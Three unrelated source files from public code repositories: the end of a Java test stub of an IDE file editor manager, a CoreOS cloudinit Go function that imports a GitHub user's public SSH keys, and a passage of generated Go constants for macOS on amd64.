myTestEditorSplitter.getFocusedFile(); FileEditorProvider oldProvider = myTestEditorSplitter.getProviderFromFocused(); tabWellModification.run(); FileEditor currentlyFocusedEditor = myTestEditorSplitter.getFocusedFileEditor(); VirtualFile currentlyFocusedFile = myTestEditorSplitter.getFocusedFile(); FileEditorProvider newProvider = myTestEditorSplitter.getProviderFromFocused(); final FileEditorManagerEvent event = new FileEditorManagerEvent(this, lastFocusedFile, lastFocusedEditor, oldProvider, currentlyFocusedFile, currentlyFocusedEditor, newProvider); final FileEditorManagerListener publisher = getProject().getMessageBus().syncPublisher(FileEditorManagerListener.FILE_EDITOR_MANAGER); notifyPublisher(new Runnable() { @Override public void run() { publisher.selectionChanged(event); } }); } @RequiredUIAccess @Nonnull @Override public Pair<FileEditor[], FileEditorProvider[]> openFileWithProviders(@Nonnull VirtualFile file, boolean focusEditor, @Nonnull EditorWindow window) { return openFileWithProviders(file, focusEditor, false); } @Override public boolean isInsideChange() { return false; } @Nonnull @Override public ActionCallback notifyPublisher(@Nonnull Runnable runnable) { runnable.run(); return ActionCallback.DONE; } @Override public EditorsSplitters getSplittersFor(Component c) { return null; } @Override public void createSplitter(int orientation, EditorWindow window) { String containerName = createNewTabbedContainerName(); myTestEditorSplitter.setActiveTabGroup(containerName); } private String createNewTabbedContainerName() { counter++; return "SplitTabContainer" + ((Object) counter).toString(); } @Override public void changeSplitterOrientation() { } @Override public void flipTabs() { } @Override public boolean tabsMode() { return false; } @Override public boolean isInSplitter() { return false; } @Override public boolean hasOpenedFile() { return false; } @Override public VirtualFile getCurrentFile() { return myActiveFile; } @Override public FileEditorWithProvider getSelectedEditorWithProvider(@Nonnull VirtualFile file) { return null; } @Override public boolean isChanged(@Nonnull EditorComposite editor) { return false; } @Override public EditorWindow getNextWindow(@Nonnull EditorWindow window) { return null; } @Override public EditorWindow getPrevWindow(@Nonnull EditorWindow window) { return null; } @Override public void addTopComponent(@Nonnull final FileEditor editor, @Nonnull final JComponent component) { } @Override public void removeTopComponent(@Nonnull final FileEditor editor, @Nonnull final JComponent component) { } @Override public void addBottomComponent(@Nonnull final FileEditor editor, @Nonnull final JComponent component) { } @Override public void removeBottomComponent(@Nonnull final FileEditor editor, @Nonnull final JComponent component) { } @Override public void closeAllFiles() { for (VirtualFile file : new LinkedList<VirtualFile>(myVirtualFile2Editor.keySet())) { closeFile(file); } } private static FileEditorProvider getProvider() { return new FileEditorProvider() { @Override public boolean accept(@Nonnull Project project, @Nonnull VirtualFile file) { return false; } @Override @Nonnull public FileEditor createEditor(@Nonnull Project project, @Nonnull VirtualFile file) { throw new IncorrectOperationException(); } @Override public void disposeEditor(@Nonnull FileEditor editor) { } @Override @Nonnull public FileEditorState readState(@Nonnull Element sourceElement, @Nonnull Project project, @Nonnull VirtualFile file) { throw new IncorrectOperationException(); } @Override @Nonnull public String getEditorTypeId() { return ""; } @Override @Nonnull public FileEditorPolicy getPolicy() { throw new IncorrectOperationException(); } }; } @Override public EditorWindow getCurrentWindow() { return null; } @Nonnull @Override public AsyncResult<EditorWindow> getActiveWindow() { return AsyncResult.done(null); } @Override public void setCurrentWindow(EditorWindow window) { } @Override public VirtualFile getFile(@Nonnull FileEditor editor) { return LIGHT_VIRTUAL_FILE; } @Override public void updateFilePresentation(@Nonnull VirtualFile file) { } @Override public void unsplitWindow() { } @Override public void unsplitAllWindow() { } @Override @Nonnull public EditorWindow[] getWindows() { return new EditorWindow[0]; //To change body of implemented methods use File | Settings | File Templates. } @Override public FileEditor getSelectedEditor(@Nonnull VirtualFile file) { final Editor editor = getEditor(file); return editor == null ? null : TextEditorProvider.getInstance().getTextEditor(editor); } @Override public boolean isFileOpen(@Nonnull VirtualFile file) { return getEditor(file) != null; } @Override @Nonnull public FileEditor[] getEditors(@Nonnull VirtualFile file) { FileEditor e = getSelectedEditor(file); if (e == null) return new FileEditor[0]; return new FileEditor[] {e}; } @Nonnull @Override public FileEditor[] getAllEditors(@Nonnull VirtualFile file) { return getEditors(file); } @Override @Nonnull public VirtualFile[] getSiblings(@Nonnull VirtualFile file) { throw new UnsupportedOperationException(); } @Override public void dispose() { closeAllFiles(); } @Override public void closeFile(@Nonnull final VirtualFile file) { Editor editor = myVirtualFile2Editor.remove(file); if (editor != null){ TextEditorProvider editorProvider = TextEditorProvider.getInstance(); editorProvider.disposeEditor(editorProvider.getTextEditor(editor)); EditorFactory.getInstance().releaseEditor(editor); } if (Comparing.equal(file, myActiveFile)) { myActiveFile = null; } modifyTabWell(new Runnable() { @Override public void run() { myTestEditorSplitter.closeFile(file); } }); } @Override public void closeFile(@Nonnull VirtualFile file, @Nonnull EditorWindow window) { closeFile(file); } @Override @Nonnull public VirtualFile[] getSelectedFiles() { return myActiveFile == null ? VirtualFile.EMPTY_ARRAY : new VirtualFile[]{myActiveFile}; } @Override @Nonnull public FileEditor[] getSelectedEditors() { return new FileEditor[0]; } @Override public Editor getSelectedTextEditor() { return myActiveFile != null ? getEditor(myActiveFile) : null; } @Nonnull @Override public JComponent getComponent() { return new JLabel(); } @Override @Nonnull public VirtualFile[] getOpenFiles() { return VfsUtilCore.toVirtualFileArray(myVirtualFile2Editor.keySet()); } public Editor getEditor(VirtualFile file) { return myVirtualFile2Editor.get(file); } @Override @Nonnull public FileEditor[] getAllEditors() { FileEditor[] result = new FileEditor[myVirtualFile2Editor.size()]; int i = 0; for (Map.Entry<VirtualFile, Editor> entry : myVirtualFile2Editor.entrySet()) { TextEditor textEditor = TextEditorProvider.getInstance().getTextEditor(entry.getValue()); result[i++] = textEditor; } return result; } @Override public void showEditorAnnotation(@Nonnull FileEditor editor, @Nonnull JComponent annotationComponent) { } @Override public void removeEditorAnnotation(@Nonnull FileEditor editor, @Nonnull JComponent annotationComponent) { } @Override public Editor openTextEditor(@Nonnull OpenFileDescriptor descriptor, boolean focusEditor) { final VirtualFile file = descriptor.getFile(); Editor editor = myVirtualFile2Editor.get(file); if (editor == null) { PsiFile psiFile = PsiManager.getInstance(myProject).findFile(file); LOG.assertTrue(psiFile != null, file); Document document = PsiDocumentManager.getInstance(myProject).getDocument(psiFile); LOG.assertTrue(document != null, psiFile); editor = EditorFactory.getInstance().createEditor(document, myProject); final EditorHighlighter highlighter = HighlighterFactory.createHighlighter(myProject, file); ((EditorEx) editor).setHighlighter(highlighter); ((EditorEx) editor).setFile(file); myVirtualFile2Editor.put(file, editor); } if (descriptor.getOffset() >= 0){ editor.getCaretModel().moveToOffset(descriptor.getOffset()); } else if (descriptor.getLine() >= 0 && descriptor.getColumn() >= 0){ editor.getCaretModel().moveToLogicalPosition(new LogicalPosition(descriptor.getLine(), descriptor.getColumn())); } editor.getSelectionModel().removeSelection(); myActiveFile = file; return editor; } @Override public void addFileEditorManagerListener(@Nonnull FileEditorManagerListener listener) { } @Override public void addFileEditorManagerListener(@Nonnull FileEditorManagerListener listener, @Nonnull Disposable parentDisposable) { } @Override public void removeFileEditorManagerListener(@Nonnull FileEditorManagerListener listener) { } @Override @Nonnull public List<FileEditor> openEditor(@Nonnull OpenFileDescriptor descriptor, boolean focusEditor) { return Collections.emptyList(); } @Override @Nonnull public Project getProject() { return myProject; } @Override public JComponent getPreferredFocusedComponent() { throw new UnsupportedOperationException(); } @Override @Nonnull public Pair<FileEditor[], FileEditorProvider[]> getEditorsWithProviders(@Nonnull VirtualFile file) { Pair<FileEditor, FileEditorProvider> editorAndProvider = myTestEditorSplitter.getEditorAndProvider(file); FileEditor[] fileEditor = new FileEditor[0]; FileEditorProvider[] fileEditorProvider= new FileEditorProvider[0]; if (editorAndProvider != null) { fileEditor = new FileEditor[] {editorAndProvider.first}; fileEditorProvider = new FileEditorProvider[]{editorAndProvider.second}; } return Pair.create(fileEditor, fileEditorProvider); } @Override public int getWindowSplitCount() { return 0; } @Override public boolean hasSplitOrUndockedWindows() { return false; } @Nonnull @Override public EditorsSplitters getSplitters() { throw new IncorrectOperationException(); } @Nonnull @Override public AsyncResult<Void> getReady(@Nonnull Object requestor) { return AsyncResult.resolved(); } @Override public void setSelectedEditor(@Nonnull VirtualFile file, @Nonnull String fileEditorProviderId) { } }
{ "pile_set_name": "Github" }
// Copyright 2015 CoreOS, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package initialize import ( "fmt" "github.com/coreos/coreos-cloudinit/system" ) func SSHImportGithubUser(system_user string, github_user string) error { url := fmt.Sprintf("https://api.github.com/users/%s/keys", github_user) keys, err := fetchUserKeys(url) if err != nil { return err } key_name := fmt.Sprintf("github-%s", github_user) return system.AuthorizeSSHKeys(system_user, key_name, keys) }
{ "pile_set_name": "Github" }
// mkerrors.sh -m64 // Code generated by the command above; see README.md. DO NOT EDIT. // +build amd64,darwin // Created by cgo -godefs - DO NOT EDIT // cgo -godefs -- -m64 _const.go package unix import "syscall" const ( AF_APPLETALK = 0x10 AF_CCITT = 0xa AF_CHAOS = 0x5 AF_CNT = 0x15 AF_COIP = 0x14 AF_DATAKIT = 0x9 AF_DECnet = 0xc AF_DLI = 0xd AF_E164 = 0x1c AF_ECMA = 0x8 AF_HYLINK = 0xf AF_IEEE80211 = 0x25 AF_IMPLINK = 0x3 AF_INET = 0x2 AF_INET6 = 0x1e AF_IPX = 0x17 AF_ISDN = 0x1c AF_ISO = 0x7 AF_LAT = 0xe AF_LINK = 0x12 AF_LOCAL = 0x1 AF_MAX = 0x28 AF_NATM = 0x1f AF_NDRV = 0x1b AF_NETBIOS = 0x21 AF_NS = 0x6 AF_OSI = 0x7 AF_PPP = 0x22 AF_PUP = 0x4 AF_RESERVED_36 = 0x24 AF_ROUTE = 0x11 AF_SIP = 0x18 AF_SNA = 0xb AF_SYSTEM = 0x20 AF_UNIX = 0x1 AF_UNSPEC = 0x0 AF_UTUN = 0x26 ALTWERASE = 0x200 ATTR_BIT_MAP_COUNT = 0x5 ATTR_CMN_ACCESSMASK = 0x20000 ATTR_CMN_ACCTIME = 0x1000 ATTR_CMN_ADDEDTIME = 0x10000000 ATTR_CMN_BKUPTIME = 0x2000 ATTR_CMN_CHGTIME = 0x800 ATTR_CMN_CRTIME = 0x200 ATTR_CMN_DATA_PROTECT_FLAGS = 0x40000000 ATTR_CMN_DEVID = 0x2 ATTR_CMN_DOCUMENT_ID = 0x100000 ATTR_CMN_ERROR = 0x20000000 ATTR_CMN_EXTENDED_SECURITY = 0x400000 ATTR_CMN_FILEID = 0x2000000 ATTR_CMN_FLAGS = 0x40000 ATTR_CMN_FNDRINFO = 0x4000 ATTR_CMN_FSID = 0x4 ATTR_CMN_FULLPATH = 0x8000000 ATTR_CMN_GEN_COUNT = 0x80000 ATTR_CMN_GRPID = 0x10000 ATTR_CMN_GRPUUID = 0x1000000 ATTR_CMN_MODTIME = 0x400 ATTR_CMN_NAME = 0x1 ATTR_CMN_NAMEDATTRCOUNT = 0x80000 ATTR_CMN_NAMEDATTRLIST = 0x100000 ATTR_CMN_OBJID = 0x20 ATTR_CMN_OBJPERMANENTID = 0x40 ATTR_CMN_OBJTAG = 0x10 ATTR_CMN_OBJTYPE = 0x8 ATTR_CMN_OWNERID = 0x8000 ATTR_CMN_PARENTID = 0x4000000 ATTR_CMN_PAROBJID = 0x80 ATTR_CMN_RETURNED_ATTRS = 0x80000000 ATTR_CMN_SCRIPT = 0x100 ATTR_CMN_SETMASK = 0x41c7ff00 ATTR_CMN_USERACCESS = 0x200000 ATTR_CMN_UUID = 0x800000 ATTR_CMN_VALIDMASK = 0xffffffff ATTR_CMN_VOLSETMASK = 0x6700 ATTR_FILE_ALLOCSIZE = 0x4 ATTR_FILE_CLUMPSIZE = 0x10 ATTR_FILE_DATAALLOCSIZE = 0x400 ATTR_FILE_DATAEXTENTS = 0x800 ATTR_FILE_DATALENGTH = 0x200 ATTR_FILE_DEVTYPE = 0x20 ATTR_FILE_FILETYPE = 0x40 ATTR_FILE_FORKCOUNT = 0x80 ATTR_FILE_FORKLIST = 0x100 ATTR_FILE_IOBLOCKSIZE = 0x8 ATTR_FILE_LINKCOUNT = 0x1 ATTR_FILE_RSRCALLOCSIZE = 0x2000 ATTR_FILE_RSRCEXTENTS = 0x4000 ATTR_FILE_RSRCLENGTH = 0x1000 ATTR_FILE_SETMASK = 0x20 ATTR_FILE_TOTALSIZE = 0x2 ATTR_FILE_VALIDMASK = 0x37ff ATTR_VOL_ALLOCATIONCLUMP = 0x40 ATTR_VOL_ATTRIBUTES = 0x40000000 ATTR_VOL_CAPABILITIES = 0x20000 ATTR_VOL_DIRCOUNT = 0x400 ATTR_VOL_ENCODINGSUSED = 0x10000 ATTR_VOL_FILECOUNT = 0x200 ATTR_VOL_FSTYPE = 0x1 ATTR_VOL_INFO = 0x80000000 ATTR_VOL_IOBLOCKSIZE = 0x80 ATTR_VOL_MAXOBJCOUNT = 0x800 ATTR_VOL_MINALLOCATION = 0x20 ATTR_VOL_MOUNTEDDEVICE = 0x8000 ATTR_VOL_MOUNTFLAGS = 0x4000 ATTR_VOL_MOUNTPOINT = 0x1000 ATTR_VOL_NAME = 0x2000 ATTR_VOL_OBJCOUNT = 0x100 ATTR_VOL_QUOTA_SIZE = 0x10000000 ATTR_VOL_RESERVED_SIZE = 0x20000000 ATTR_VOL_SETMASK = 0x80002000 ATTR_VOL_SIGNATURE = 0x2 ATTR_VOL_SIZE = 0x4 ATTR_VOL_SPACEAVAIL = 0x10 ATTR_VOL_SPACEFREE = 0x8 ATTR_VOL_UUID = 0x40000 ATTR_VOL_VALIDMASK = 0xf007ffff B0 = 0x0 B110 = 0x6e B115200 = 0x1c200 B1200 = 0x4b0 B134 = 0x86 B14400 = 0x3840 B150 = 0x96 B1800 = 0x708 B19200 = 0x4b00 B200 = 0xc8 B230400 = 0x38400 B2400 = 0x960 B28800 = 0x7080 B300 = 0x12c B38400 = 0x9600 B4800 = 0x12c0 B50 = 0x32 B57600 = 0xe100 B600 = 0x258 B7200 = 0x1c20 B75 = 0x4b B76800 = 0x12c00 B9600 = 0x2580 BIOCFLUSH = 0x20004268 BIOCGBLEN = 0x40044266 BIOCGDLT = 0x4004426a BIOCGDLTLIST = 0xc00c4279 BIOCGETIF = 0x4020426b BIOCGHDRCMPLT = 0x40044274 BIOCGRSIG = 0x40044272 BIOCGRTIMEOUT = 0x4010426e BIOCGSEESENT = 0x40044276 BIOCGSTATS = 0x4008426f BIOCIMMEDIATE = 0x80044270 BIOCPROMISC = 0x20004269 BIOCSBLEN = 0xc0044266 BIOCSDLT = 0x80044278 BIOCSETF = 0x80104267 BIOCSETFNR = 0x8010427e BIOCSETIF = 0x8020426c BIOCSHDRCMPLT = 0x80044275 BIOCSRSIG = 0x80044273 BIOCSRTIMEOUT = 0x8010426d BIOCSSEESENT = 0x80044277 BIOCVERSION = 0x40044271 BPF_A = 0x10 BPF_ABS = 0x20 BPF_ADD = 0x0 BPF_ALIGNMENT = 0x4 BPF_ALU = 0x4 BPF_AND = 0x50 BPF_B = 0x10 BPF_DIV = 0x30 BPF_H = 0x8 BPF_IMM = 0x0 BPF_IND = 0x40 BPF_JA = 0x0 BPF_JEQ = 0x10 BPF_JGE = 0x30 BPF_JGT = 0x20 BPF_JMP = 0x5 BPF_JSET = 0x40 BPF_K = 0x0 BPF_LD = 0x0 BPF_LDX = 0x1 BPF_LEN = 0x80 BPF_LSH = 0x60 BPF_MAJOR_VERSION = 0x1 BPF_MAXBUFSIZE = 0x80000 BPF_MAXINSNS = 0x200 BPF_MEM = 0x60 BPF_MEMWORDS = 0x10 BPF_MINBUFSIZE = 0x20 BPF_MINOR_VERSION = 0x1 BPF_MISC = 0x7 BPF_MSH = 0xa0 BPF_MUL = 0x20 BPF_NEG = 0x80 BPF_OR = 0x40 BPF_RELEASE = 0x30bb6 BPF_RET = 0x6 BPF_RSH = 0x70 BPF_ST = 0x2 BPF_STX = 0x3 BPF_SUB = 0x10 BPF_TAX = 0x0 BPF_TXA = 0x80 BPF_W = 0x0 BPF_X = 0x8 BRKINT = 0x2 BS0 = 0x0 BS1 = 0x8000 BSDLY = 0x8000 CFLUSH = 0xf CLOCAL = 0x8000 CLOCK_MONOTONIC = 0x6 CLOCK_MONOTONIC_RAW = 0x4 CLOCK_MONOTONIC_RAW_APPROX = 0x5 CLOCK_PROCESS_CPUTIME_ID = 0xc CLOCK_REALTIME = 0x0 CLOCK_THREAD_CPUTIME_ID = 0x10 CLOCK_UPTIME_RAW = 0x8 CLOCK_UPTIME_RAW_APPROX = 0x9 CR0 = 0x0 CR1 = 0x1000 CR2 = 0x2000 CR3 = 0x3000 CRDLY = 0x3000 CREAD = 0x800 CRTSCTS = 0x30000 CS5 = 0x0 CS6 = 0x100 CS7 = 0x200 CS8 = 0x300 CSIZE = 0x300 CSTART = 0x11 CSTATUS = 0x14 CSTOP = 0x13 CSTOPB = 0x400 CSUSP = 0x1a CTL_HW = 0x6 CTL_KERN = 0x1 CTL_MAXNAME = 0xc CTL_NET = 0x4 DLT_A429 = 0xb8 DLT_A653_ICM = 0xb9 DLT_AIRONET_HEADER = 0x78 DLT_AOS = 0xde DLT_APPLE_IP_OVER_IEEE1394 = 0x8a DLT_ARCNET = 0x7 DLT_ARCNET_LINUX = 0x81 DLT_ATM_CLIP = 0x13 DLT_ATM_RFC1483 = 0xb DLT_AURORA = 0x7e DLT_AX25 = 0x3 DLT_AX25_KISS = 0xca DLT_BACNET_MS_TP = 0xa5 DLT_BLUETOOTH_HCI_H4 = 0xbb DLT_BLUETOOTH_HCI_H4_WITH_PHDR = 0xc9 DLT_CAN20B = 0xbe DLT_CAN_SOCKETCAN = 0xe3 DLT_CHAOS = 0x5 DLT_CHDLC = 0x68 DLT_CISCO_IOS = 0x76 DLT_C_HDLC = 0x68 DLT_C_HDLC_WITH_DIR = 0xcd DLT_DBUS = 0xe7 DLT_DECT = 0xdd DLT_DOCSIS = 0x8f DLT_DVB_CI = 0xeb DLT_ECONET = 0x73 DLT_EN10MB = 0x1 DLT_EN3MB = 0x2 DLT_ENC = 0x6d DLT_ERF = 0xc5 DLT_ERF_ETH = 0xaf DLT_ERF_POS = 0xb0 DLT_FC_2 = 0xe0 DLT_FC_2_WITH_FRAME_DELIMS = 0xe1 DLT_FDDI = 0xa DLT_FLEXRAY = 0xd2 DLT_FRELAY = 0x6b DLT_FRELAY_WITH_DIR = 0xce DLT_GCOM_SERIAL = 0xad DLT_GCOM_T1E1 = 0xac DLT_GPF_F = 0xab DLT_GPF_T = 0xaa DLT_GPRS_LLC = 0xa9 DLT_GSMTAP_ABIS = 0xda DLT_GSMTAP_UM = 0xd9 DLT_HHDLC = 0x79 DLT_IBM_SN = 0x92 DLT_IBM_SP = 0x91 DLT_IEEE802 = 0x6 DLT_IEEE802_11 = 0x69 DLT_IEEE802_11_RADIO = 0x7f DLT_IEEE802_11_RADIO_AVS = 0xa3 DLT_IEEE802_15_4 = 0xc3 DLT_IEEE802_15_4_LINUX = 0xbf DLT_IEEE802_15_4_NOFCS = 0xe6 DLT_IEEE802_15_4_NONASK_PHY = 0xd7 DLT_IEEE802_16_MAC_CPS = 0xbc DLT_IEEE802_16_MAC_CPS_RADIO = 0xc1 DLT_IPFILTER = 0x74 DLT_IPMB = 0xc7 DLT_IPMB_LINUX = 0xd1 DLT_IPNET = 0xe2 DLT_IPOIB = 0xf2 DLT_IPV4 = 0xe4 DLT_IPV6 = 0xe5 DLT_IP_OVER_FC = 0x7a DLT_JUNIPER_ATM1 = 0x89 DLT_JUNIPER_ATM2 = 0x87 DLT_JUNIPER_ATM_CEMIC = 0xee DLT_JUNIPER_CHDLC = 0xb5 DLT_JUNIPER_ES = 0x84 DLT_JUNIPER_ETHER = 0xb2 DLT_JUNIPER_FIBRECHANNEL = 0xea DLT_JUNIPER_FRELAY = 0xb4 DLT_JUNIPER_GGSN = 0x85 DLT_JUNIPER_ISM = 0xc2 DLT_JUNIPER_MFR = 0x86 DLT_JUNIPER_MLFR = 0x83 DLT_JUNIPER_MLPPP = 0x82 DLT_JUNIPER_MONITOR = 0xa4 DLT_JUNIPER_PIC_PEER = 0xae DLT_JUNIPER_PPP = 0xb3 DLT_JUNIPER_PPPOE = 0xa7 DLT_JUNIPER_PPPOE_ATM = 0xa8 DLT_JUNIPER_SERVICES = 0x88 DLT_JUNIPER_SRX_E2E = 0xe9 DLT_JUNIPER_ST = 0xc8 DLT_JUNIPER_VP = 0xb7 DLT_JUNIPER_VS = 0xe8 DLT_LAPB_WITH_DIR = 0xcf DLT_LAPD = 0xcb DLT_LIN = 0xd4 DLT_LINUX_EVDEV = 0xd8 DLT_LINUX_IRDA = 0x90 DLT_LINUX_LAPD = 0xb1 DLT_LINUX_PPP_WITHDIRECTION = 0xa6 DLT_LINUX_SLL = 0x71 DLT_LOOP = 0x6c DLT_LTALK = 0x72 DLT_MATCHING_MAX = 0xf5 DLT_MATCHING_MIN = 0x68 DLT_MFR = 0xb6 DLT_MOST = 0xd3 DLT_MPEG_2_TS = 0xf3 DLT_MPLS = 0xdb DLT_MTP2 = 0x8c DLT_MTP2_WITH_PHDR = 0x8b DLT_MTP3 = 0x8d DLT_MUX27010 = 0xec DLT_NETANALYZER = 0xf0 DLT_NETANALYZER_TRANSPARENT = 0xf1 DLT_NFC_LLCP = 0xf5 DLT_NFLOG = 0xef DLT_NG40 = 0xf4 DLT_NULL = 0x0 DLT_PCI_EXP = 0x7d DLT_PFLOG = 0x75 DLT_PFSYNC = 0x12 DLT_PPI = 0xc0 DLT_PPP = 0x9 DLT_PPP_BSDOS = 0x10 DLT_PPP_ETHER = 0x33 DLT_PPP_PPPD = 0xa6 DLT_PPP_SERIAL = 0x32 DLT_PPP_WITH_DIR = 0xcc DLT_PPP_WITH_DIRECTION = 0xa6 DLT_PRISM_HEADER = 0x77 DLT_PRONET = 0x4 DLT_RAIF1 = 0xc6 DLT_RAW = 0xc DLT_RIO = 0x7c DLT_SCCP = 0x8e DLT_SITA = 0xc4 DLT_SLIP = 0x8 DLT_SLIP_BSDOS = 0xf DLT_STANAG_5066_D_PDU = 0xed DLT_SUNATM = 0x7b DLT_SYMANTEC_FIREWALL = 0x63 DLT_TZSP = 0x80 DLT_USB = 0xba DLT_USB_LINUX = 0xbd DLT_USB_LINUX_MMAPPED = 0xdc DLT_USER0 = 0x93 DLT_USER1 = 0x94 DLT_USER10 = 0x9d DLT_USER11 = 0x9e DLT_USER12 = 0x9f DLT_USER13 = 0xa0 DLT_USER14 = 0xa1 DLT_USER15 = 0xa2 DLT_USER2 = 0x95 DLT_USER3 = 0x96 DLT_USER4 = 0x97 DLT_USER5 = 0x98 DLT_USER6 = 0x99 DLT_USER7 = 0x9a DLT_USER8 = 0x9b DLT_USER9 = 0x9c DLT_WIHART = 0xdf DLT_X2E_SERIAL = 0xd5 DLT_X2E_XORAYA = 0xd6 DT_BLK = 0x6 DT_CHR = 0x2 DT_DIR = 0x4 DT_FIFO = 0x1 DT_LNK = 0xa DT_REG = 0x8 DT_SOCK = 0xc DT_UNKNOWN = 0x0 DT_WHT = 0xe ECHO = 0x8 ECHOCTL = 0x40 ECHOE = 0x2 ECHOK = 0x4 ECHOKE = 0x1 ECHONL = 0x10 ECHOPRT = 0x20 EVFILT_AIO = -0x3 EVFILT_EXCEPT = -0xf EVFILT_FS = -0x9 EVFILT_MACHPORT = -0x8 EVFILT_PROC = -0x5 EVFILT_READ = -0x1 EVFILT_SIGNAL = -0x6 EVFILT_SYSCOUNT = 0xf EVFILT_THREADMARKER = 0xf EVFILT_TIMER = -0x7 EVFILT_USER = -0xa EVFILT_VM = -0xc EVFILT_VNODE = -0x4 EVFILT_WRITE = -0x2 EV_ADD = 0x1 EV_CLEAR = 0x20 EV_DELETE = 0x2 EV_DISABLE = 0x8 EV_DISPATCH = 0x80 EV_DISPATCH2 = 0x180 EV_ENABLE = 0x4 EV_EOF = 0x8000 EV_ERROR = 0x4000 EV_FLAG0 = 0x1000 EV_FLAG1 = 0x2000 EV_ONESHOT = 0x10 EV_OOBAND = 0x2000 EV_POLL = 0x1000 EV_RECEIPT = 0x40 EV_SYSFLAGS = 0xf000 EV_UDATA_SPECIFIC = 0x100 EV_VANISHED = 0x200 EXTA = 0x4b00 EXTB = 0x9600 EXTPROC = 0x800 FD_CLOEXEC = 0x1 FD_SETSIZE = 0x400 FF0 = 0x0 FF1 = 0x4000 FFDLY = 0x4000 FLUSHO = 0x800000 FSOPT_ATTR_CMN_EXTENDED = 0x20 FSOPT_NOFOLLOW = 0x1 FSOPT_NOINMEMUPDATE = 0x2 FSOPT_PACK_INVAL_ATTRS = 0x8 FSOPT_REPORT_FULLSIZE = 0x4 F_ADDFILESIGS = 0x3d F_ADDFILESIGS_FOR_DYLD_SIM = 0x53 F_ADDFILESIGS_RETURN = 0x61 F_ADDSIGS = 0x3b F_ALLOCATEALL = 0x4 F_ALLOCATECONTIG = 0x2 F_BARRIERFSYNC = 0x55 F_CHECK_LV = 0x62 F_CHKCLEAN = 0x29 F_DUPFD = 0x0 F_DUPFD_CLOEXEC = 0x43 F_FINDSIGS = 0x4e F_FLUSH_DATA = 0x28 F_FREEZE_FS = 0x35 F_FULLFSYNC = 0x33 F_GETCODEDIR = 0x48 F_GETFD = 0x1 F_GETFL = 0x3 F_GETLK = 0x7 F_GETLKPID = 0x42 F_GETNOSIGPIPE = 0x4a F_GETOWN = 0x5 F_GETPATH = 0x32 F_GETPATH_MTMINFO = 0x47 F_GETPROTECTIONCLASS = 0x3f F_GETPROTECTIONLEVEL = 0x4d F_GLOBAL_NOCACHE = 0x37 F_LOG2PHYS = 0x31 F_LOG2PHYS_EXT = 0x41 F_NOCACHE = 0x30 F_NODIRECT = 0x3e F_OK = 0x0 F_PATHPKG_CHECK = 0x34 F_PEOFPOSMODE = 0x3 F_PREALLOCATE = 0x2a F_PUNCHHOLE = 0x63 F_RDADVISE = 0x2c F_RDAHEAD = 0x2d F_RDLCK = 0x1 F_SETBACKINGSTORE = 0x46 F_SETFD = 0x2 F_SETFL = 0x4 F_SETLK = 0x8 F_SETLKW = 0x9 F_SETLKWTIMEOUT = 0xa F_SETNOSIGPIPE = 0x49 F_SETOWN = 0x6 F_SETPROTECTIONCLASS = 0x40 F_SETSIZE = 0x2b F_SINGLE_WRITER = 0x4c F_THAW_FS = 0x36 F_TRANSCODEKEY = 0x4b F_TRIM_ACTIVE_FILE = 0x64 F_UNLCK = 0x2 F_VOLPOSMODE = 0x4 F_WRLCK = 0x3 HUPCL = 0x4000 HW_MACHINE = 0x1 ICANON = 0x100 ICMP6_FILTER = 0x12 ICRNL = 0x100 IEXTEN = 0x400 IFF_ALLMULTI = 0x200 IFF_ALTPHYS = 0x4000 IFF_BROADCAST = 0x2 IFF_DEBUG = 0x4 IFF_LINK0 = 0x1000 IFF_LINK1 = 0x2000 IFF_LINK2 = 0x4000 IFF_LOOPBACK = 0x8 IFF_MULTICAST = 0x8000 IFF_NOARP = 0x80 IFF_NOTRAILERS = 0x20 IFF_OACTIVE = 0x400 IFF_POINTOPOINT = 0x10 IFF_PROMISC = 0x100 IFF_RUNNING = 0x40 IFF_SIMPLEX = 0x800 IFF_UP = 0x1 IFNAMSIZ = 0x10 IFT_1822 = 0x2 IFT_AAL5 = 0x31 IFT_ARCNET = 0x23 IFT_ARCNETPLUS = 0x24 IFT_ATM = 0x25 IFT_BRIDGE = 0xd1 IFT_CARP = 0xf8 IFT_CELLULAR = 0xff IFT_CEPT = 0x13 IFT_DS3 = 0x1e IFT_ENC = 0xf4 IFT_EON = 0x19 IFT_ETHER = 0x6 IFT_FAITH = 0x38 IFT_FDDI = 0xf IFT_FRELAY = 0x20 IFT_FRELAYDCE = 0x2c IFT_GIF = 0x37 IFT_HDH1822 = 0x3 IFT_HIPPI = 0x2f IFT_HSSI = 0x2e IFT_HY = 0xe IFT_IEEE1394 = 0x90 IFT_IEEE8023ADLAG = 0x88 IFT_ISDNBASIC = 0x14 IFT_ISDNPRIMARY = 0x15 IFT_ISO88022LLC = 0x29 IFT_ISO88023 = 0x7 IFT_ISO88024 = 0x8 IFT_ISO88025 = 0x9 IFT_ISO88026 = 0xa IFT_L2VLAN = 0x87 IFT_LAPB = 0x10 IFT_LOCALTALK = 0x2a IFT_LOOP = 0x18 IFT_MIOX25 = 0x26 IFT_MODEM = 0x30 IFT_NSIP = 0x1b IFT_OTHER = 0x1 IFT_P10 = 0xc IFT_P80 = 0xd IFT_PARA = 0x22 IFT_PDP = 0xff IFT_PFLOG = 0xf5 IFT_PFSYNC = 0xf6 IFT_PKTAP = 0xfe IFT_PPP = 0x17 IFT_PROPMUX = 0x36 IFT_PROPVIRTUAL = 0x35 IFT_PTPSERIAL = 0x16 IFT_RS232 = 0x21 IFT_SDLC = 0x11 IFT_SIP = 0x1f IFT_SLIP = 0x1c IFT_SMDSDXI = 0x2b IFT_SMDSICIP = 0x34 IFT_SONET = 0x27 IFT_SONETPATH = 0x32 IFT_SONETVT = 0x33 IFT_STARLAN = 0xb IFT_STF = 0x39 IFT_T1 = 0x12 IFT_ULTRA = 0x1d IFT_V35 = 0x2d IFT_X25 = 0x5 IFT_X25DDN = 0x4 IFT_X25PLE = 0x28 IFT_XETHER = 0x1a IGNBRK = 0x1 IGNCR = 0x80 IGNPAR = 0x4 IMAXBEL = 0x2000 INLCR = 0x40 INPCK = 0x10 IN_CLASSA_HOST = 0xffffff IN_CLASSA_MAX = 0x80 IN_CLASSA_NET = 0xff000000 IN_CLASSA_NSHIFT = 0x18 IN_CLASSB_HOST = 0xffff 